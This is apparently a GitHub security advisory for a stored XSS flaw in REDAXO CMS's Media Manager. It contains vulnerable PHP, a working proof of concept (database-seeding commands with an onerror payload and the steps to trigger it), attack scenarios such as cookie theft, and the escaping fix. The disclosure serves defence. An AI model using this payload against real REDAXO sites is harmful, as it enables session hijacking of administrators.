CVE-2026-63001: REDAXO Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mf2p-wjp4-99pq",
  "modified" : "2026-09-23T14:04:40Z",
  "published" : "2026-09-23T14:04:40Z",
  "aliases" : [ "CVE-2026-63001" ],
  "summary" : "REDAXO: Stored XSS via Unescaped Media Manager Type Name in `mediaIsInUse()`",
  "details" : "### Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in REDAXO CMS 5.x. When an administrator attempts to delete a media file that is referenced by a Media Manager effect, the warning message rendered in the backend includes the type's `name` field without HTML escaping. An attacker with access to the Media Manager addon can store an XSS payload as a type name; the payload executes in the browser of any administrator who subsequently tries to delete a media file linked to that type's effects. This can lead to session hijacking and full backend account takeover.\n\n---\n\n### Details\n\n**File:** `redaxo/src/addons/media_manager/lib/media_manager.php`\n**Function:** `mediaIsInUse()` — registered on the `MEDIA_IS_IN_USE` extension point in `boot.php`\n\nWhen `rex_media_service::deleteMedia()` is called, it invokes `rex_mediapool::mediaIsInUse($filename)`, which fires the `MEDIA_IS_IN_USE` extension point. The media_manager addon's handler queries all effects whose `parameters` JSON contains the filename, then constructs an HTML anchor with the type name inserted verbatim:\n\n```php\n// media_manager.php ~line 457  ← VULNERABLE\n$message = '<a href=\"javascript:openPage(\\'' . rex_url::backendPage(...) . '\\')\">'\n    . rex_i18n::msg('media_manager') . ' '\n    . rex_i18n::msg('media_manager_effect_name') . ': '\n    . (string) $sql->getValue('name')   // ← NO rex_escape() call\n    . '</a>';\n```\n\nThe returned `$message` string is concatenated into the exception message thrown by `deleteMedia()` and rendered by `rex_view::error()` as raw HTML.\n\n**Contrast with the correct pattern used elsewhere in the same addon:**\n\n```php\n// types.php line 91  ← CORRECT\n$name = '<b>' . rex_escape($list->getValue('name')) . '</b>';\n```\n\n**Input validation gap:** `types.php` line 200 validates the type name with the rule `NOT_MATCH '{[/\\\\]}'`, which blocks `{`, `/`, and `\\` but permits `<`, `>`, `\"`, `'`, and `&` — all characters required to inject HTML.\n\n---\n\n### PoC\n\n\n<img width=\"2074\" height=\"1720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/207f85d3-f4e2-4828-9211-8da36ec9c43d\" />\n\n\n**Test environment:** REDAXO 5.x running at `http://localhost/`\n**Account required:** Any REDAXO backend administrator\n**Test credentials:** username `admin` / password `Admin12345!`\n\n#### Step 1 — Seed test data directly into the database (single CMD command)\n\n```cmd\ndocker exec -i 34--core-5x-redaxo-1 php -r \"$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p->exec(\\\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,title,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\\\");$tid=$p->query(\\\"SELECT id FROM rex_media_manager_type WHERE name='<img src=x onerror=alert(document.domain)>'\\\")->fetchColumn();if(!$tid){$p->prepare(\\\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\\\")->execute(['<img src=x onerror=alert(document.domain)>']);$tid=$p->lastInsertId();}$p->prepare(\\\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\\\")->execute([$tid,json_encode(['rex_effect_watermark'=>['watermark_image'=>'xss_test.jpg']])]);echo \\\"OK type_id=$tid\\n\\\";\"\n```\n\n#### Step 2 — Place a 1×1 JPEG in the media directory\n\n```cmd\ndocker exec 34--core-5x-redaxo-1 sh -c \"printf '\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xdb\\x00C\\x00\\x08\\x06\\x06\\x07\\x06\\x05\\x08\\x07\\x07\\x07\\t\\t\\x08\\n\\x0c\\x14\\r\\x0c\\x0b\\x0b\\x0c\\x19\\x12\\x13\\x0f\\x14\\x1d\\x1a\\x1f\\x1e\\x1d\\x1a\\x1c\\x1c $.\\' \\\",#\\x1c\\x1c(7),01444\\x1f\\x27=82<.342\\x1e>\\x1b\\x1b123\\x1e4\\x1c\\x1f\\xff\\xc0\\x00\\x0b\\x08\\x00\\x01\\x00\\x01\\x01\\x01\\x11\\x00\\xff\\xc4\\x00\\x1f\\x00\\x00\\x01\\x05\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x00?\\x00\\xf5\\x00\\xff\\xd9' > /var/www/html/media/xss_test.jpg\"\n```\n\n#### Step 3 — Login to the backend\n\nOpen a browser and navigate to:\n\n```\nhttp://localhost/redaxo/index.php\n```\n\nLogin with: **admin** / **Admin12345!**\n\n#### Step 4 — Trigger the XSS\n\nNavigate to the media file detail page:\n\n```\nhttp://localhost/redaxo/index.php?page=mediapool/media&file_id=1\n```\n\nClick the **Delete** button. REDAXO checks whether the file is in use, finds the Watermark effect whose `parameters` JSON references `xss_test.jpg`, and renders the type name in the warning HTML without escaping.\n\n**Result:** The browser executes `<img src=x onerror=alert(document.domain)>` and an alert dialog showing the current domain appears immediately.\n\n---\n\n### Impact\n\n**Vulnerability type:** Stored Cross-Site Scripting (Stored XSS)\n\n**Who is impacted:**\nAny backend administrator who attempts to delete a media file that is referenced by a Media Manager effect. A malicious administrator (or an attacker who has compromised any admin account) can pre-plant a payload in a type name. All other administrators who later try to delete affected media files will have the payload executed in their browser sessions.\n\n**Exploitability:**\n- Privilege required to plant: Administrator (access to Media Manager addon)\n- Privilege required to trigger: Administrator (access to Mediapool)\n- User interaction required: Victim must click \"Delete\" on a media file\n\n**Realistic attack scenarios:**\n- Session cookie theft via `document.cookie` exfiltration (leads to full account takeover)\n- Credential harvesting by dynamically replacing the login form\n- CSRF-token extraction to perform authenticated actions on behalf of the victim\n\n---\n\n### Fix\n\nApply `rex_escape()` to the type name before concatenating it into the HTML anchor:\n\n```php\n// media_manager.php — apply rex_escape() to the name value\n$message = '<a href=\"javascript:openPage(\\'' . rex_url::backendPage(...) . '\\')\">'\n    . rex_i18n::msg('media_manager') . ' '\n    . rex_i18n::msg('media_manager_effect_name') . ': '\n    . rex_escape((string) $sql->getValue('name'))   // ← ADD rex_escape()\n    . '</a>';\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "redaxo/source"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.21.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.21.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/security/advisories/GHSA-mf2p-wjp4-99pq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/pull/6581"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/commit/2daaa3a30570bc76a82f63fd21fb8c9c2cd5dc7c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/redaxo/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/redaxo/core/releases/tag/5.21.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-23T14:04:40Z",
    "nvd_published_at" : null
  }
}